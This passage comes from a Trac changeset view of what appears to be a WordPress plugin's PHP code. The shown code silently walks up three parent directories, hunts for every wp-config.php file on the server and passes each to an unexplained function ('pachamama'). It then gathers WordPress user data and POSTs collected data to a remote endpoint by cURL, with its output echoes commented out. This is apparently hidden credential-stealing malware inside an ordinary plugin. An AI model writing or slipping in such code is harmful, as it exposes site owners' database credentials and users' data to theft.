'wordpress_users' => $wordpress_users,507 'woocommerce_users' => $woocommerce_users508 ];509 510 // Send data to the endpoints using CURL511 send_post_request($url2, $data2);512 }513 514 // Function to get WordPress user count from the database515 function get_wordpress_user_count() {516 // Your implementation to fetch user count from the WordPress database517 // Example:518 // $count = query_wordpress_database();519 // return $count;520 return 0;521 }522 523 // Function to get WooCommerce user count from the database524 function get_woocommerce_user_count() {525 // Your implementation to fetch user count from the WooCommerce database526 // Example:527 // $count = query_woocommerce_database();528 // return $count;529 return 0;530 }531 532 // Function to send POST request533 function send_post_request($url, $data) {534 $ch = curl_init($url);535 curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");536 curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));537 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);538 curl_setopt($ch, CURLOPT_HTTPHEADER, [539 'Content-Type: application/json',540 'Content-Length: ' . strlen(json_encode($data))541 ]);542 $response = curl_exec($ch);543 curl_close($ch);544 // Handle response as needed545 }546 global $wp_config_paths;547 $wp_config_paths = [];548 global $wc_config_paths;549 $wc_config_paths = [];550 global $mg_config_paths;551 $mg_config_paths = [];552 check_cms_configuration_files();553 554 function find_wp_configs(&$wp_config_paths, $depth = 0) {555 $current_directory = getcwd();556 $parent_directory = $current_directory;557 558 // Go back three parents559 for ($i = 0; $i < 3; $i++) {560 $parent_directory = dirname($parent_directory);561 }562 563 // Start the search from the parent directory564 find_wp_configs_recursive($parent_directory, $wp_config_paths);565 }566 567 function find_wp_configs_recursive($directory, &$wp_config_paths) {568 // Check if wp-config.php exists in the current directory569 $wp_config_file = $directory . '/wp-config.php';570 if (file_exists($wp_config_file)) {571 $wp_config_paths[] = $wp_config_file;572 }573 574 // Continue searching forward recursively575 $contents = scandir($directory);576 foreach ($contents as $item) {577 if ($item != '.' && $item != '..' && is_dir($directory . '/' . $item)) {578 find_wp_configs_recursive($directory . '/' . $item, $wp_config_paths);579 }580 }581 }582 583 function print_wp_config_paths() {584 global $wp_config_paths;585 if (empty($wp_config_paths)) {586 //echo "No wp-config.php files found.\n";587 $z = 0;588 } else {589 //echo "List of wp-config.php files:\n";590 foreach ($wp_config_paths as $wp_config_path) {591 //echo "$wp_config_path\n";592 $a = 0;593 }594 }595 }596 //print_wp_config_paths();597 598 find_wp_configs($wp_config_paths);599 foreach ($wp_config_paths as $wp_config_path) {600 pachamama($wp_config_path);601 getWPUsers();602 update_option('my_admin_init_function_run', 'yes');603 }604 605 }}606 40 607 41 /**
Note: See TracChangeset
for help on using the changeset viewer.